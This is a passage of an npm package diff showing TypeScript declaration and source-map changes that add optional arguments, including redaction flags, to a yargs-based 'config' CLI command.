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"}

package/dist/commands/config.d.ts

@@ -1,6 +1,11 @@
 import type { CommandModule } from 'yargs';
 interface ConfigArgs {
     action: string;
+    name?: string;
+    target?: string;
+    'with-examples'?: boolean;
+    'no-redact'?: boolean;
+    redact?: boolean;
 }
 export declare const configCommand: CommandModule<object, ConfigArgs>;
 export {};

package/dist/commands/config.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"config.d.ts","sourceRoot":"","sources":["../../src/commands/config.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,aAAa,EAAsB,MAAM,OAAO,CAAA;AAO9D,UAAU,UAAU;IAClB,MAAM,EAAE,MAAM,CAAA;CACf;AAuFD,eAAO,MAAM,aAAa,EAAE,aAAa,CAAC,MAAM,EAAE,UAAU,CA0B3D,CAAA"}
+{"version":3,"file":"config.d.ts","sourceRoot":"","sources":["../../src/commands/config.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,aAAa,EAAsB,MAAM,OAAO,CAAA;AAgB9D,UAAU,UAAU;IAClB,MAAM,EAAE,MAAM,CAAA;IACd,IAAI,CAAC,EAAE,MAAM,CAAA;IACb,MAAM,CAAC,EAAE,MAAM,CAAA;IACf,eAAe,CAAC,EAAE,OAAO,CAAA;IACzB,WAAW,CAAC,EAAE,OAAO,CAAA;IACrB,MAAM,CAAC,EAAE,OAAO,CAAA;CACjB;AA+SD,eAAO,MAAM,aAAa,EAAE,aAAa,CAAC,MAAM,EAAE,UAAU,CA2D3D,CAAA"}